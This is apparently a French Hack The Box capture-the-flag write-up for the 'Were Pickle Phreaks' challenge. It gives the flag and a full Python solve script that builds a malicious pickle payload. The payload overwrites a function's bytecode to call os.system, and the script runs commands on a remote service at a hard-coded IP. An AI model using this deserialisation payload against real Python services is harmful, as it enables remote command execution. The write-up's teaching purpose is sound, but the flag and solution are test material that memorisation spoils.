Were Pickle Phreaks

Catégorie: Misc Difficulté: easy Flag: HTB{54N17121N9_MODul3_4Nd_No7_n4M3_15_4_5UR3_w4y_7o_937_1n7o_4_p1cKL3_d4y}

Challenge

Description


The Phreaks have rolled a new registration app to recruit new members so they can help them grow and evolve. You, a factionless, see this and think of other plans...

Vulnérabilité

Référence : https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-pickle

Tout est expliquĂ© dans ce WU, l’objectif et de modifier le code d’une fonction avant qu’elle soit appelĂ©e pour la faire exĂ©cuter des commandes.

Cela peut ĂȘtre rĂ©aliser au moment de dĂ©sĂ©rialiser les donnĂ©es avec Pickle

Script de résolution

# python 3.8
from pwnlib.tubes.remote import remote
from base64 import b64encode
from pickle import *

def generate_payload(command):
    return b64encode(
        PROTO + b'\x04' + \
        GLOBAL + b'__main__\nmenu\n' + \
        NONE + \
        MARK + \
        UNICODE + b'__code__\n' + \
        GLOBAL + b'__main__\nPhreaks.__class__\n' + \
        GLOBAL + b'__main__\nmenu.__code__\n' + \
        TUPLE1 + REDUCE + \
        MARK + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x03' + \
        BININT1 + b'\x43' + \
        SHORT_BINBYTES + b'\x12' + b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00' + \
        NONE + UNICODE + b'os\n' + UNICODE + command.encode() + b'\n' + TUPLE3 + \
        UNICODE + b'__import__\n' + UNICODE + b'system\n' + TUPLE2 + \
        EMPTY_TUPLE + \
        UNICODE + b'app.py\n' + \
        UNICODE + b'blc\n' + \
        BININT1 + b'\x03' + \
        SHORT_BINBYTES + b'\x02' + b'\x00\x01' + \
        EMPTY_TUPLE + \
        EMPTY_TUPLE + \
        TUPLE + \
        REDUCE + \
        DICT + \
        TUPLE2 + \
        BUILD + \
        STOP
    )

def parse_response(data):
    return data.split(b'Invalid Phreaks member')[1].strip().rsplit(b'\n', 1)[0].decode()

class Solver:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def send_command(self, command):
        client = remote(self.host, self.port)
        client.recvuntil(b'> ')
        client.sendline(b'2')
        client.recvuntil(b'data: ')
        client.sendline(generate_payload(command))
        client.recvuntil(b'> ')
        client.sendline(b'1')
        output = f"$ {command}\n"
        output += parse_response(client.recvuntil(b'> '))
        output += "\n"
        return output

def solve(host, port):
    solver = Solver(host, port)
    print(solver.send_command('ls -al'))
    print(solver.send_command('cat flag.txt'))

if __name__ == '__main__':
    solve('94.237.60.39', 30450)

Mis Ă  jour

Ce contenu vous a-t-il Ă©tĂ© utile ?